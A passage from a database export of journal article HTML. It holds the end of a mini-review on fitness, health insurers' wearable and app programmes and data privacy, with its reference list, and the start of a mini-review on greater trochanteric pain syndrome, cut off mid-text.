[18].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">If you are ill, insurance will cover most of your doctor&rsquo;s costs, medicines and hospital stay, depending on your deductible&rsquo;s. But how about if you want to invest in PA, fitness, sports and organic or biologic nutrition? Insurance and big healthcare companies are looking for possibilities in this new market. Some of these initiatives and their pros and cons will be discussed in this mini-review...</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Initiatives</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.1.</strong>&nbsp;<strong>Premium Discounts</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Discounts seems to be mainly a Dutch health insurance affair. In the Netherlands health insurance is organized collectively and based on the solidarity principle. This means health insurance is obligated by law for every person. Profits of insurance companies are limited and in line with mandatory financial buffers. Therefore, it is possible monthly premiums range from &euro;100-&euro;150/month, depending on the package, with deductible&rsquo;s ranging &euro;400-&euro;800/year. Within the limits of the Dutch law insurance companies have little freedom of movement regarding discount premiums. Insurance is based on claims experience implying the company pays when there is a claim. So for restitution you have to be ill or accumulated medical expenses.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Coverage of prevention of lifestyle diseases is just coming up. Costs of quit smoking programs and dieticians for obesity are covered after referring by a GP. Discounts are generally of the magnitude of about 10% if you follow these programs. However, technology developments are fast and apps, smart watches and trackers are also incorporated in Dutch healthcare now, rewarding people for &ldquo;moves&rdquo; in fitness programs by ancillary gifts or an extra small discount, following global trends [19].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.2.&nbsp;</strong><strong>Fitness Apps, Trackers and Wearables</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">With the ever increasing availability of mobile apps, consumer wearables and smart medical devices more and more individuals are self-tracking and managing their personal health data. A recent Canadian National Survey by Pare et al. interviewed a sample of 4109 Canadian adults, one of the largest ever [20]. Their findings revealed that 66,2% (2702/4109) regularly self-tracked one or more aspects of their health. About 1 in 4 respondents (1041/4109; 24,7%) currently owns a wearable or smart medical device, and 57,2% (580/1014) use their devices on a regular basis for self-tracking purposes. Digital self-trackers are typically young or mature adults, healthy, employed, university educated, with an annual family income over $80.000 CAD. The most popular reported device is the fitness tracker or smartwatch that can capture a range of parameters [20].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Currently, mobile apps and trackers are mainly used to monitor physical activity (856/1669; 51,3%), nutrition (545/1669;32,6%), sleep patterns (428/1669; 28,9%) and to a much lesser extent, cardiovascular biomarkers (215/1669; 12,8%), medication intake (126/1669; 7,5) and glucose level (79/1669; 4, 7%).Most users of connected care technologies (481/580; 83%) are highly satisfied and 88,2% (511/580) intend to continue their apps and devices in the future. A majority said smart digital advices have allowed them to maintain or improve their health condition (398/580; 68,5%) and to be better informed about their health in general (387/580; 66%).About 33,8% of the sample as composed of people who do not monitor their health or well-being on a regular basis [20]. These are interesting figures and some data are in sharp contrast with real-world data obtained from long-time functioning programs.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the Netherlands, Menzis, an insurer with 2,5 million customers has such a program already for 5 years. Policy holders can earn points by cycling or walking. For that reason, they have to link the Menzis app SamenGezond (&lsquo;TogetherHealthy&rsquo;) to a fitness app as Run keeper or Strava.Each kilometer is worth 25 points. When enough points are saved, people can visit the Menzis webshop to cash their points, or they can choose for a small premium discount. (19). Of 750,000 Menzis customers who signed up in 2012 only 225.000 save points. Just 25.000 linked their apps to the Menzis app. The others were saving by posting healthy moments on facebook or FB selfies. Other Dutch insurance companies as CZ, Zilveren Kruis, and Friesland are offering similar programs. If these clients are really healthier as reflected by GP consultations or hospital admissions has not been reported by the insurers, considering these data as confidential trade secrets [19].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The American wellness specialist Vitality offers since last year a package deal including an Apple watch if their customers achieve the goals of their training programs [21]. Insurer Oscar Health offers healthy people discounts at Amazon&rsquo;s web supers, if they achieve the step by step program goals of the insurer [22]. Rumors suggest Apple and Aetna, one of the biggest U.S. insurers, are discussing alliances, introducing an Apple device with step counter, heart rate monitor and fitness monitor. Rumors are denied by Apple and Atnea so far [23].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.3.&nbsp;</strong><strong>Does It Work?</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">After the first enthusiasm most fitness tracker users are tired of listening and moving on tracker instructions. This is a phenomenon shared with new fitness club members. One in three uses its tracker not anymore after 6 months [19,24,25]. One of 10 Americans has a step counter but half of them are not using it [19]. British students, aged 13-14 years, used a Fitbit Charge for 8 weeks. After 4 weeks most of them dropped it because they did not like their fellows scoring better [19,26]. Stanford researchers showed wrist watches are pretty good in counting heart beats but awfully bad in counting calories burned [27]. Fitbit Surge was one of the best with a margin of error of 27% while Pulse On scored an error margin of 92,6% [27].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As the Canadian survey shows there is little spirit for cardiopulmonary tracking and glucose sensoring. Apple&rsquo;s new smart watch only offers a 1 lead ECG, distinguishing only sinus rhythm from atrial fibrillation. AliveCor announced to respond soon with a 6-lead ECG watch [28]. A normal ECG has 12 leads. Developments in the sensor technology of diabetes monitoring are still slow, but far from perfect, despite decades of research [29].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.4.&nbsp;</strong><strong>What Is the Life-Span of Apps and Trackers Start-Ups? </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Jawbone founded in 1999 and one of the pioneers collapsed in 2017. TomTom announced also in 2017 leaving the production of sport watches. Market leader Fitbit sees sharp drops in wearable sales revenues [19,30]. This directs us to the concerns about the privacy of the delivered data, when these start ups&rsquo; go bankruptcy. The answer is easy. When they vanish, their apps and trackers disappear too and all your jogging, walking and cycling data are swimming in the water. Thus cyber security and hacking of devices are not the only problems in securing data privacy...</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.5.&nbsp;</strong><strong>What Will Come After the First Shake-Out?</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The answer is already there. As mentioned before Amazon is already active in different parts of the healthcare industry over the past 2 years, but its recently announced alliance with JPMorgan Chase and Berkshire Hathaway demonstrated that Amazon&rsquo;s ambitions go much further than simply selling healthcare products [31]. From an online bookstore to an online everything stores, leading in cloud computing, B2B platforms and a provider of n home services, Amazon continues to grow on its original business plan.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It will afford Amazon to reap huge financial benefits from lowering high costs of healthcare in the U.S. The expectation is that the alliance will focus on durable medical equipment and supplies, mail order and retail pharmacy, pharmacy benefit management, telemedicine or in-home healthcare and last but not least A1 powered diagnostics and continuous care [31].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">All these activities will generate an enormous amount of customer&rsquo;s online data. Such a development could lead to a total irrelevance of trackers and healthcare apps used mainly by a small portion of highly educated people. These new giants consider this world of online data as company trade secrets They are still interested in all causes mortality as a tool for calculating insurance risks but they don&rsquo;t need the WHO ICD 10 IRIS system anymore [32]. It is an illusion they will publish their results. They will have insurance under their thumb. If this benefits patients, as they promise, has to be seen.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.</strong>&nbsp;<strong>Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is obvious that physical activity, sports and fitness is a medicine and reduces all causes mortality in a dose dependent way. As a result, fitness industry is booming and healthcare insurers lure clients with smartwatches, apps, trackers and discounts on premiums or ancillary gadgets in their gift webshops. The health information gathered is handled as secret trade information. The shake-out of the first start up pioneers in apps, trackers and smart devices has already begun. When they collapse, all your jogging, walking and cycling data are swimming in the water. So, data privacy means more than hacking data and cybersecurity.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mergers of insurance giants as Aetna and CvS (and maybe Apple) and alliances between Amazon, J.P. Morgan and Berkshire Hathaway will dominate the near U.S. healthcare and insurance landscape. These giants are still interested in all causes mortality as a risk tool for calculating premiums. They are not interested in publishing their gathered information. Insurance will be under their thumb. If this is beneficial for patients, as they suggest, has to be seen.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25520374\">Mozaffarian D, Benjamin EJ, Go AS, Arnett DK, Blaha MJ, et al. (2015) Heart disease and stroke statistics-2015 update: a report from the American Heart Association. Circulation 131: 29-322.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12746361\">Gregg EW, Cauley JA, Stone K, Thompson TJ, Bauer DC, et al. (2003) Relationship of changes in physical activity and mortality among elder women. JAMA 289: 2379-2386.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11056093\">Steffen-Batey L, Nichaman MZ, Goff DC Jr, Frankowski RF, Hanis CL, et al. (2000) Change in level of physical activity and risk of all-cause mortality or reinfarction. The Corpus Christi Heart Project. Circulation 102: 2204-2209.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9620713\">Wannamethee S.G., Shaper A.G., Walher M (1998) Changes in physical activity, mortality and incidence of coronary heart disease in older men. Lancet 35: 1603-1608.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S2095254615000952\">Aijo M, Kauppinen M, Kujola UM, Parkatti T (2015) Physical activity, fitness and all-cause mortality: An 18-year follow-up among old people, J Sport Health Sci 5: 437-442.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/22647251\">Ottenbacher AJ, Snih SA, Karmarkar A, Lee J, Samper-Ternent R, et al. (2012) Routine physical activity and mortality in Mexican Americans aged 75 and older. J Am Geriatr Soc 60: 1085-1091.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18048441\">Hamer M., Chida Y (2008) Walking and primary prevention: a meta-analysis of prospective cohort studies. Br J Sports Med 42: 238-243.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/26547459\">Eysvogels TH, Thompson PD (2015) Exercise is medicine: At any dose?. JAMA 314: 1915-1916.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16835422\">Manini TM, Everhart JE, Patel KV, Schoeller DA, Colbert LH, et al. (2006) Daily activity energy expenditure and mortality among older adults. JAMA 296: 171-179.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16678894\">Lan TY, Chang HY, Tai TY (2006) Relationship between components of leisure physical activity and mortality in Taiwanese older adults. Prev Med 43: 36-41.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19041587\">Arrieta A, Rusell LB (2008) Effects of leisure and non-leisure physical activity on mortality in U.S. adults over 2 decades. Am J Epidemiol 18: 889-895.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28682651\">Lewis ZH, Markides K, Ottenbacher KJ, Al Snih S (2018) The Impact of 10-year Physical Activity Changes on 7-year Mortality in Older Mexican-Americans. J Phys Act Health 15: 30-39.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/22039197\">Samitz G, Egger M, Zwahlen M (2011) Domains of physical activity and all-cause mortality: systematic review and dose-response meta-analysis of cohort studies. Int J Epidemiol 40: 1382-1400.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16534088\">Warburton DE, Nicol CW, Bredin SS (2006) Health benefits of physical activity: the evidence. Can Med Ass J 174: 801-809.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25844730\">Arem H, Moore SC, Patel A, Hartge P, Berrington de Gonzalez A, et al. (2015) Leisure Time Physical Activity and Mortality: A Detailed Pooled Analysis of the Dose-Response Relationship. JAMA Int Med 175: 959-967.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/11427772\">Lee IM, Skerett PJ (2001) Physical activity and all-cause mortality: what is the dose-response relation?. Med Sci Sports and Exercise 33: 459-471.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.reportlinker.com/market-report/Sports/2154/Fitness?utm_source=adwords/\">Global Fitness Industry 2018-2022 (2018) Trends, Analyses and Statistics.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.statista.com/statistics/272716/global-top-biotech-and-pharmaceutical-companies-based-on-market-value/\">Top 10 biotech and pharmaceutical companies worldwide based on market capitalization as of 2018. (in billion U.S. dollars).</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.volkskrant.nl/wetenschap/hoe-zorgverzekeraars-gezonde-mensen-willen-belonen-geef-ze-een-smartwatch~b5f3983d/\">van Ammelrooy P (2017) Hoe zorgverzekeraars gezonde mensen willen belonen: geef ze een smartwatch. de Volkskrant.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/29720359\">Pare G, Leaver C, Bourqet C (2018) Diffusion of the Digital Self-Tracking Movement in Canada: Results of a National Survey. J Med Internet Res 20: 177.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.vitality.co.uk/rewards/partners/active-rewards/apple-watch/\">Apple Watch Deal with Vitality/Watch Offer/Vitality. 2018.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Oscar Insurance Case Study-Amazon Web Services (AWS). 2018.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.newhorizonsmktg.com/news/aetna-updates-66-billion-cvs-bid-and-free-apple-watches\">Aetna Updates: $ 66 Billion CVS Bid and Free Apple Watches?. 2018.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.medicaldaily.com/6-months-you-wont-be-using-your-fitness-tracker-anymore-better-get-your-steps-now-342182\">Smith S (2015) In 6 Months You Won&rsquo;t Be Using Your Fitness Tracker Anymore: Better Get Your Steps in Now. Medical Daily.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://jamanetwork.com/journals/jama/article-abstract/2089651\">Patel MS, Asch DA, Volpp KG (2015) Wearable Devices as Facilitators, Not Drivers of Health Behavior Change. JAMA 313: 459-460.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28302596\">Dooley EE, Galazewski N, Bartholomew JB (2017) Estimating Accuracy of Exercise Intensities: A Comparative Study of Self-Monitoring Heart Rate and Physical Activity Wearables. JMIR Mhealth Uhealth 5: 34.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://med.stanford.edu/news/all-news/2017/05/fitness-trackers-accurately-measure-heart-rate-but-not-calories-burned.html\">Dusheck J (2017) Fitness trackers accurately measure heart rate but not calories burned. Stanford Medicine News Center.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://9to5mac.com/2018/09/17/alivecor-apple-watch-series-4-response/\">Miller C (2018) AliveCor Responds to Apple Watch ECGw/6-lead reader capable of detecting 100 diseases.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.cientperiodique.com/article/CPQME-2-1-40.pdf\">Naafs MA (2018) Sensor Technology Developments in Diabetes Monitoring. CPQ Medicine 2: 01-14.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.clubindustry.com/news/fitbit-reports-15-percent-drop-2018-q2-revenue-despite-strong-smartwatch-sales\">Dominic A (2018) Fitbit Reports 15 Percent Drop in 2018 Q2 Revenue Despite Strong Smartwatch Sales. Club Industry.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.lek.com/insights/amazon-turns-its-gaze-healthcare-industry-may-be-wild-ride\">Haslehurst R., Johnson J (2018) As Amazon Turns Its Gaze to Healthcare, the Industry May Be in for a wild Ride. Lek Insights.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.cientperiodique.com/article/CPQME-2-4-55.pdf\">Naafs MA (2018) Women&rsquo;s All Causes Death and Alzheimer&rsquo;s Disease: An Editorial. CPQ Medicine 2: 1-4.</a></span></span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Naafs MAB (2018) The Effect of Fitness, Sports and Lifestyle Factors on All Causes Mortality and Insurance Premiums. J Sports Sci Physi Ther: JSSPT-102.</span></span></p>\r\n','','1541057902.pdf',NULL,'1541057902.jpg','',0,1,'2018-11-01 13:08:22','2018-11-01 13:11:49',1),(23,31,'20','2018','Developments for the Greater Trochanteric Pain Syndrome (GTPS)','Michael AB Naafs*','Mini Review','Developments-for-the-Greater-Trochanteric-Pain-Syndrome','Developments for the Greater Trochanteric-Pain-Syndrome-(GTPS)','Developments-for-the-Greater Trochanteric Pain Syndrome (GTPS)','Developments for the Greater Trochanteric Pain Syndrome (GTPS)','<p style=\"text-align:center\"><strong><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\">Journal of Sports Science and Physical Therapy</span></span></strong></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Developments for the Greater Trochanteric Pain Syndrome (GTPS)</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Michael AB Naafs*</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endocrinologist, Health Consultant at Naafs, International Health Consultancy, Netherlands</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding</strong><strong><sup> </sup></strong><strong>author:</strong> Michael AB Naafs, Dutch Internist, Endocrinologist, Health Consultant at Naafs, International Health Consultancy, Rhodoslaan 20, 7577KN, Oldenzaal, Netherlands. Tel +31681589079; Email: <a href=\"mailto:naafs.healthconsultancy@gmail.com\">naafs.healthconsultancy@gmail.com</a>; <a href=\"mailto:michael.naafs@hotmail.com\">michael.naafs@hotmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Naafs MAB (2018) Developments for the Greater Trochanteric Pain Syndrome (GTPS). J Sports Sci Physical Ther: JSSPT-103.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>06 November, 2018; <strong>Accepted Date:</strong> 12 November, 2018; <strong>Published Date:</strong> 21 November, 2018</span></p>\r\n','<p style=\"text-align:justify\"><strong><span style=\"font-size:12.0pt\">Abstract</span></strong></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">In this mini-review pathophysiology, diagnosis, management and new treatment options for the greater trochanteric pain syndrome (GTPS) are discussed. GTPS is caused by gluteal tendinopathies sometimes with adjacent trochanteric bursitis. Education with exercise programs perform better than corticosteroid injections (CSI) after one-year treatment. Shockwave therapy (ESWT) may be a useful additional treatment in the future. There is no hard evidence for the use of hyaluronic acid (HA), platelet-rich plasma (PRP) in patients with GTPS. Recalcitrant cases of trochanteric bursitis can be managed with minimally invasive endoscopic bursectomy.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Introduction</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lateral hip pain sometimes is called &lsquo;greater trochanteric bursitis&rsquo; but the preferred term is now greater trochanteric pain syndrome (GTPS), because this disorder usually is caused by gluteal tendinopathies, sometimes with adjacent bursitis. Although, corticosteroids were often used in patients with GTPS, the best treatment is unknown [1,2]. Nevertheless, the shifting opinion to gluteal tendinopathy with sometimes a secondary trochanteric bursitis stimulated research and raised several new treatment options. In this mini-review, pathophysiology, diagnosis, management and new treatment options will be discussed.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Pathophysiology</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Greater trochanteric pain syndrome (GTPS) is a common cause of lateral hip pain, seen more commonly in females between the age of 40 and 60 [3,4]. GTPS is the most common cause of patients presenting with hip pain to primary care, with an incidence of 1,8 patients per 1000/year [5]. The prevalence in a spine clinic proved to be high with 50.5% [6]. Traditionally thought to be due to trochanteric bursitis, surgical, histological and imaging studies have shown that GTPS is attributable to tendinopathy of the gluteus medius and/or minimus with or without coexisting bursal pathology [3,7,8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Abnormal hip biomechanics are hypothesized to predispose to the development of these gluteal tendinopathies. Compressive forces cause impingement of the gluteal tendons and bursa onto the greater trochanter by the iliotibial band (ITB) as the hip moves into adduction. Compression forces are increased where there is weakness of the hip abductor muscles due to lateral pelvic tilt [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Diagnosis</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Patients commonly present with lateral hip pain located to the greater trochanter, which is worse with weight bearing activities and side laying at night [3,7,10]. There may be associated radiation down the lateral thigh to the knee. Pain may progressively worsen over time and can be triggered or exacerbated by sudden unaccustomed exercise, falls, prolonged weight bearing, or sporting overuse, commonly long distance running [7]. This condition carries significant morbidity, pain on side laying and subsequent reduction in physical activity levels carry negative implications for general health, employment and wellbeing [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is important to accurately diagnose GTPS early, as delay and mismanagement can worsen prognosis due to progression to recalcitrant symptoms.The condition can be mistaken for common causes of hip pain including osteoarthritis of the hip, lumbar spine referred pain, and pelvic pathology [7,10]. The &lsquo;ability to put shoes and socks &lsquo;on is a useful question to differentiate. GTPS patients will have no difficulty with this task [10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Single clinical tests for GTPS lack validity, but a combination of tests can be used to increase the diagnostic accuracy. Direct palpation of the greater trochanter, (the &lsquo;jump sign&rsquo;, as the person can be so tender they jump off the bed) carries a positive predictive value (PVV) of 83% for positive MRI findings [8]. If there is no pain on palpation the patient is unlikely to have GTPS. The &lsquo;single leg stance&rsquo; test (pain within 30 seconds of standing on one leg) has a very high sensitivity and PVV (100%) for positive MRI findings; if positive the patient is likely to have GTPS [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Combining these two clinical tests with others can further increase diagnostic accuracy. The FABER test (flexion, abduction and external rotation), FADER test (flexion, adduction and external rotation) and ADD test (passive hip adduction in side laying) aim to increase tensile load on the gluteus mediums and minimums tendons, causing a replication of the patient&rsquo;s pain. Other associated clinical findings may include positive Ober&rsquo;s test, positive step up and down test, and Trendelenburg gait positive [7].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GTPS is acknowledged as being a clinical diagnosis [3], but in recalcitrant cases or those with a mixed clinical picture, imaging can be used to exclude other pathologies and confirm the diagnosis. Hip X-ray is a useful first-line investigation in primary care [4]. In patients with clinical symptoms and signs of GTPS this investigation is usually normal but can exclude common differentials including osteoarthritis of the hip and fractures [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ultrasound and MRI are useful second-line investigations to confirm the diagnosis. Diagnostic ultrasound is an imaging modality with a high PVV for diagnosis of GTPS [4]. Positive findings include fluid-filled and thickened trochanteric bursa with evidence of inflammation, tendinopathic echogenic findings or tears within the gluteus medius or minimus tendons [4,7]. MRI is best utilized in secondary care settings [4]. MRI changes are commonly found in asymptomatic patients so interpretation of results must be clinically correlated [10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Management</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Optimal management of GTPS remains unclear but the main goals of treatment should be to manage load and reduce compressive forces across greater trochanter, strengthen gluteal muscles, and treat comorbidities. The majority of cases of GTPS can be successfully managed in primary care with weight loss, non-steroidal anti-inflammatory drugs (NSAIDs), targeted physical therapy and load modification of biomechanics. Recalcitrant cases may require onward referral to a specialist enabling further investigations and specific therapies as e.g. corticosteroid injections (CSI), ultrasound or shockwave therapy, injections with hyaluronic acid or platelet rich plasma (or both), or finally surgery.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Corticosteroid Injections (CSI)</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Small observational studies suggest that local CSI may be effective in the management of GTPS. However, the literature is inconclusive. Therefore, Nissen et al. performed the first randomized, double blind, placebo-controlled trial (GLUTEAL trial) to investigate the efficacy of CSI in the management of GTPS [11]. The trial was conducted between November 2011 and May 2015. Inclusion criteria included lateral hip pain (LHP) for greater than 1 month, a LHP score&gt;4/10 and typical LHP reproduced by palpation of the greater trochanter. Participants were randomized in a 1:1 ratio to injection with a combination of a local an anaesthetic and glucocorticoid (GC) or injection with normal saline (placebo).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The primary outcome of interest was the difference in pain intensity at 4 weeks&rsquo; post-injection between the two groups. Patients were followed for 6 months. A total of 46 patients were included. There were no significant differences between the 2 groups in terms of pain reduction at 1 month (p=0.23). When including all measures n the first 4 weeks and using multiple level regression analysis, there was a trend towards improvement in pain scores in favour of the intervention group (P=0.08). There were no significant differences in pain scores between groups at 3 and 6 months. In the management of GTPS local glucocorticoid injections are of no greater efficacy than injection of normal saline, the authors concluded. Given the lack of long-term improvement and the potential for cortisone-related side effects, this intervention is of limited benefit 